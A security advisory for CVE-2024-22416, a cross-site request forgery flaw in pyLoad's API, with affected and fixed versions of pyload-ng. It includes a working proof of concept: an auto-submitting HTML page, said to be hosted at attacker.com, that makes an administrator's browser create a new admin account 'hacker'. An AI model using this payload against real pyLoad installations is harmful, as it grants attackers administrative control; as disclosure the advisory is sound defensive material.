Advisory

GHSA-pgpj-v85q-h5fm

Also known as: CVE-2024-22416, PYSEC-2024-17

Summary

Cross-Site Request Forgery on any API call in pyLoad may lead to admin privilege escalation

Details

Summary
The pyload API allows any API call to be made using GET requests. Since the session cookie is not set to SameSite: strict, this opens the library up to severe attack possibilities via a Cross-Site Request Forgery (CSRF) attack. This proof of concept shows how an unauthenticated user could trick the administrator's browser into creating a new admin user.

PoC
We host the following HTML file on an attacker-controlled server.

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://localhost:8000/api/add_user/%22hacker%22,%22hacker%22">
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

If we now trick an administrator into visiting our malicious page at https://attacker.com/CSRF.html, we see that their browser will make a request to /api/add_user/%22hacker%22,%22hacker%22, adding a new administrator to the pyload application.
image

The attacker can now authenticate as this newly created administrator user with the username hacker and password hacker.
image

Impact
Any API call can be made via a CSRF attack by an unauthenticated user.

Severity

Critical Basis: The source's own band: CRITICAL

Dates

Published
2024-01-19 15:27 UTC
Modified
2026-09-10 03:50 UTC

Affected packages and fixes

pyload-ng

PyPI · All systems

Affected

  • introduced 0, fixed 0.5.0b3.dev78 (ecosystem)

Fixed versions

0.5.0b3.dev78

Fix

  • Fixed version 0.5.0b3.dev78
    pip install --upgrade pyload-ng==0.5.0b3.dev78

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences